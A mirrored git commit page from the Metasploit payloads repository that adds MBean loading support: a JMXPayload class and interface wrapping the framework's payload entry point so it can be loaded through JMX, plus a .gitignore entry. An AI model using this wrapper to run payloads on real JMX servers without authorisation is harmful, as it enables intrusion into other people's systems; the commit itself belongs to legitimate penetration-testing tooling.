mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Land #25, @jvazquez-r7's MBean loading support
This commit is contained in:
commit
bab206fd92
1
java/.gitignore
vendored
1
java/.gitignore
vendored
@ -17,3 +17,4 @@
|
||||
androidpayload/ndkstager/libs
|
||||
androidpayload/ndkstager/obj
|
||||
.DS_Store
|
||||
*.iml
|
||||
|
10
java/javapayload/src/main/java/metasploit/JMXPayload.java
Normal file
10
java/javapayload/src/main/java/metasploit/JMXPayload.java
Normal file
@ -0,0 +1,10 @@
|
||||
package metasploit;
|
||||
import java.io.*;
|
||||
import javax.management.*;
|
||||
|
||||
public class JMXPayload implements JMXPayloadMBean {
|
||||
public Object run() throws Exception {
|
||||
Payload.main(null);
|
||||
return null;
|
||||
}
|
||||
}
|
@ -0,0 +1,5 @@
|
||||
package metasploit;
|
||||
|
||||
public interface JMXPayloadMBean {
|
||||
public Object run() throws Exception;
|
||||
}
|
Loading…
Reference in New Issue
Block a user